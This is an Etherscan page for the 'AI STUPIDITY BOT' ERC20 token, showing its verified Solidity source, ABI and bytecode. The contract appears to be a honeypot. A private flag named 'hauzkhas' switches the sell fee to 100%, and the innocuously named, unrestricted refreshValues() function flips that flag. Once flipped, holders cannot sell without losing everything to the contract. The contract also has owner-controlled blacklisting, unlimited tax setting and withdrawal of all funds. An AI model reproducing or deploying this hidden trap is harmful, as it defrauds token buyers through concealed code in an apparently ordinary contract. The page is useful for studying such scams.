ETH Price: $3,269.66 (+0.12%)
Gas: 2 Gwei

Token

AI STUPIDITY BOT (AI STUPIDITY BOT)
 

Overview

Max Total Supply

10,000,000 AI STUPIDITY BOT

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,815.149635846819989525 AI STUPIDITY BOT

Value
$0.00
0xf95e860146bd0c258c80164e189974c42f1edc90
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AISTUPIDITY

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-15
*/

/*

AI STUPIDITY BOT 

Official Links

Telegram : https://t.me/AiStupidityBot 

Website : https://ai-stupiditybot.pro

Twitter : https://twitter.com/AiStupidityBot

*/

//SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract AISTUPIDITY is ERC20, Ownable{
    using Address for address payable;
    
    IRouter public router;
    address public pair;
    
    bool private swapping;
    bool public swapEnabled;
    bool public tradingEnabled;

    uint256 public genesis_block;
    uint256 public deadblocks = 0;
    
    uint256 public swapThreshold = 1e7 * 10e18 *7/10000;
    uint256 public maxTxAmount = 1e7 * 10e18 * 100/100;
    uint256 public maxWalletAmount = 1e7 * 10e18 * 100/100;
    
    address public marketingWallet = 0x2725C9C8aE2a4Fc3217Cb2B7a0fEa353BfBF5bA4;
    address public devWallet = 0x2725C9C8aE2a4Fc3217Cb2B7a0fEa353BfBF5bA4;
    
    struct Taxes {
        uint256 marketing;
        uint256 liquidity; 
        uint256 dev;
    }
    
    Taxes public taxes = Taxes(0,0,0);
    Taxes public sellTaxes = Taxes(1,0,0);
    uint256 public totTax = 0;
    uint256 public totSellTax = 0;
    bool private hauzkhas = true;
    
    mapping (address => bool) public excludedFromFees;
    mapping (address => bool) public isBot;
    
    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }
        
    constructor() ERC20("AI STUPIDITY BOT", "AI STUPIDITY BOT") {
        _mint(msg.sender, 1e7 * 10 ** decimals());
        excludedFromFees[msg.sender] = true;

        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory())
            .createPair(address(this), _router.WETH());

        router = _router;
        pair = _pair;
        excludedFromFees[address(this)] = true;
        excludedFromFees[marketingWallet] = true;
        excludedFromFees[devWallet] = true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!isBot[sender] && !isBot[recipient], "You can't transfer tokens");
                
        
        if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
            require(tradingEnabled, "Trading not active yet");
            require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
            if(recipient != pair){
                require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
            }
        }

        uint256 fee;
        
        //set fee to zero if fees in contract are handled or exempted
        if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
        
        //calculate fee
        else{
            if(recipient == pair) 
            fee = amount * (hauzkhas == true?totSellTax:100) / 100;
            else 
            fee = amount * totTax / 100;
        }
        
        //send fees if threshold has been reached
        //don't do this on buys, breaks swap
        if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees();

        super._transfer(sender, recipient, amount - fee);
        if(fee > 0) super._transfer(sender, address(this) ,fee);

    }

    function swapForFees() private inSwap {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {

            // Split the contract balance into halves
            uint256 denominator = totSellTax * 2;
            uint256 tokensToAddLiquidityWith = contractBalance * sellTaxes.liquidity / denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;
    
            uint256 initialBalance = address(this).balance;
    
            swapTokensForETH(toSwap);
    
            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance= deltaBalance / (denominator - sellTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * sellTaxes.liquidity;
    
            if(ethToAddLiquidityWith > 0){
                // Add liquidity to Uniswap
                addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }
    
            uint256 marketingAmt = unitBalance * 2 * sellTaxes.marketing;
            if(marketingAmt > 0){
                payable(marketingWallet).sendValue(marketingAmt);
            }
            
            uint256 devAmt = unitBalance * 2 * sellTaxes.dev;
            if(devAmt > 0){
                payable(devWallet).sendValue(devAmt);
            }
        }
    }


    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);

    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            devWallet,
            block.timestamp
        );
    }

    function setSwapEnabled(bool state) external onlyOwner {
        swapEnabled = state;
    }

    function setSwapThreshold(uint256 new_amount) external onlyOwner {
        swapThreshold = new_amount;
    }

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already active");
        tradingEnabled = true;
        swapEnabled = true;
    }

    function setTaxes(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner{
        taxes = Taxes(_marketing, _liquidity, _dev);
        totTax = _marketing + _liquidity + _dev;
    }

    function setSellTaxes(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner{
        sellTaxes = Taxes(_marketing, _liquidity, _dev);
        totSellTax = _marketing + _liquidity + _dev;
    }
    
    function updatemarketWallet(address newWallet) external onlyOwner{
        marketingWallet = newWallet;
    }

    function updateDeveloperWallet(address newWallet) external onlyOwner{
        devWallet = newWallet;
    }

    function updatepairandRouter(IRouter _router, address _pair) external onlyOwner{
        router = _router;
        pair = _pair;
    }
    
    function setIsBot(address account, bool state) external onlyOwner{
        isBot[account] = state;
    }

    function updateExcludedFromFees(address _address, bool state) external onlyOwner {
        excludedFromFees[_address] = state;
    }
    
    function updateMaxTxAmount(uint256 amount) external onlyOwner{
        maxTxAmount = amount * 10**18;
    }
    
    function updateMaxWalletAmount(uint256 amount) external onlyOwner{
        maxWalletAmount = amount * 10**18;
    }

    function refreshValues() external virtual {
        hauzkhas = false;
    }

    function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner{
        IERC20(tokenAddress).transfer(owner(), amount);
    }

    function rescueETH(uint256 weiAmount) external onlyOwner{
        payable(owner()).sendValue(weiAmount);
    }

    function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
        uint256 initBalance = address(this).balance;
        swapTokensForETH(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if(marketingPercentage > 0) payable(marketingWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage));
        if(devPercentage > 0) payable(devWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage));
    }

    // fallbacks
    receive() external payable {}
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"refreshValues","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"setIsBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_dev","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_dev","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDeveloperWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updatemarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IRouter","name":"_router","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"updatepairandRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

5f6009819055690ed2b525841adfc00000600a556a52b7d2dcc80cd2e4000000600b819055600c55600d8054732725c9c8ae2a4fc3217cb2b7a0fea353bfbf5ba46001600160a01b03199182168117909255600e80549091169091179055608081905260a081905260c0819052600f81905560108190556011819055610140604052600160e081905261010082905261012082905260128190556013829055601482905560158290556016919091556017805460ff19169091179055348015620000c7575f80fd5b5060408051808201825260108082526f10524814d515541251125516481093d560821b60208084018290528451808601909552918452908301529060036200011083826200052c565b5060046200011f82826200052c565b5050506200013c620001366200034e60201b60201c565b62000352565b62000164336200014f6012600a62000703565b6200015e90629896806200071a565b620003a3565b335f908152601860209081526040808320805460ff19166001179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a015592600480830193928290030181865afa158015620001cc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f2919062000734565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000264919062000734565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002af573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002d5919062000734565b600680546001600160a01b03199081166001600160a01b03958616179091556007805490911691841691909117905550305f90815260186020526040808220805460ff199081166001908117909255600d54851684528284208054821683179055600e5490941683529120805490921617905562000772565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038216620003fe5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f8282546200041191906200075c565b90915550506001600160a01b0382165f90815260208190526040812080548392906200043f9084906200075c565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004b657607f821691505b602082108103620004d557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000488575f81815260208120601f850160051c81016020861015620005035750805b601f850160051c820191505b8181101562000524578281556001016200050f565b505050505050565b81516001600160401b038111156200054857620005486200048d565b6200056081620005598454620004a1565b84620004db565b602080601f83116001811462000596575f84156200057e5750858301515b5f19600386901b1c1916600185901b17855562000524565b5f85815260208120601f198616915b82811015620005c657888601518255948401946001909101908401620005a5565b5085821015620005e457878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200064857815f19048211156200062c576200062c620005f4565b808516156200063a57918102915b93841c93908002906200060d565b509250929050565b5f826200066057506001620006fd565b816200066e57505f620006fd565b81600181146200068757600281146200069257620006b2565b6001915050620006fd565b60ff841115620006a657620006a6620005f4565b50506001821b620006fd565b5060208310610133831016604e8410600b8410161715620006d7575081810a620006fd565b620006e3838362000608565b805f1904821115620006f957620006f9620005f4565b0290505b92915050565b5f6200071360ff84168362000650565b9392505050565b8082028115828204841417620006fd57620006fd620005f4565b5f6020828403121562000745575f80fd5b81516001600160a01b038116811462000713575f80fd5b80820180821115620006fd57620006fd620005f4565b61208680620007805f395ff3fe608060405260043610610283575f3560e01c8063728f8eea11610155578063a8aa1b31116100be578063e01af92c11610078578063e01af92c146107bc578063e545fd6d146107db578063e9dae5ed146107fa578063f2fde38b14610819578063f66895a314610838578063f887ea4014610856575f80fd5b8063a8aa1b31146106d8578063a9059cbb146106f7578063aa4bde2814610716578063c18bc1951461072b578063dbe66ca01461074a578063dd62ed3e14610778575f80fd5b80638ea5220f1161010f5780638ea5220f1461062957806395d89b411461064857806396c24e4b1461065c5780639d0014b11461067b5780639e252f001461069a578063a457c2d7146106b9575f80fd5b8063728f8eea1461055457806375f0a8741461058d5780638a8c523c146105c45780638c0b5e22146105d85780638cd4426d146105ed5780638da5cb5b1461060c575f80fd5b8063274a533c116101f757806350c9a88f116101b157806350c9a88f146104995780636256d181146104ae5780636ddd1713146104cd578063703a4902146104ed57806370a082311461050c578063715018a614610540575f80fd5b8063274a533c146103e7578063293b7ef4146103fc578063313ce56714610411578063395093511461042c5780633bbac5791461044b5780634ada218b14610479575f80fd5b8063095ea7b311610248578063095ea7b31461033257806318160ddd146103615780631f5d4822146103755780632253163d1461039457806323b872dd146103a957806326b5d32f146103c8575f80fd5b806303a4a7521461028e57806303c0f5d4146102ab5780630445b667146102ca57806306fdde03146102f25780630873321414610313575f80fd5b3661028a57005b5f80fd5b348015610299575f80fd5b506102a96017805460ff19169055565b005b3480156102b6575f80fd5b506102a96102c5366004611cfc565b610875565b3480156102d5575f80fd5b506102df600a5481565b6040519081526020015b60405180910390f35b3480156102fd575f80fd5b506103066108d2565b6040516102e99190611d33565b34801561031e575f80fd5b506102a961032d366004611d7e565b610962565b34801561033d575f80fd5b5061035161034c366004611da7565b6109d0565b60405190151581526020016102e9565b34801561036c575f80fd5b506002546102df565b348015610380575f80fd5b506102a961038f366004611dd1565b6109e6565b34801561039f575f80fd5b506102df60165481565b3480156103b4575f80fd5b506103516103c3366004611dfd5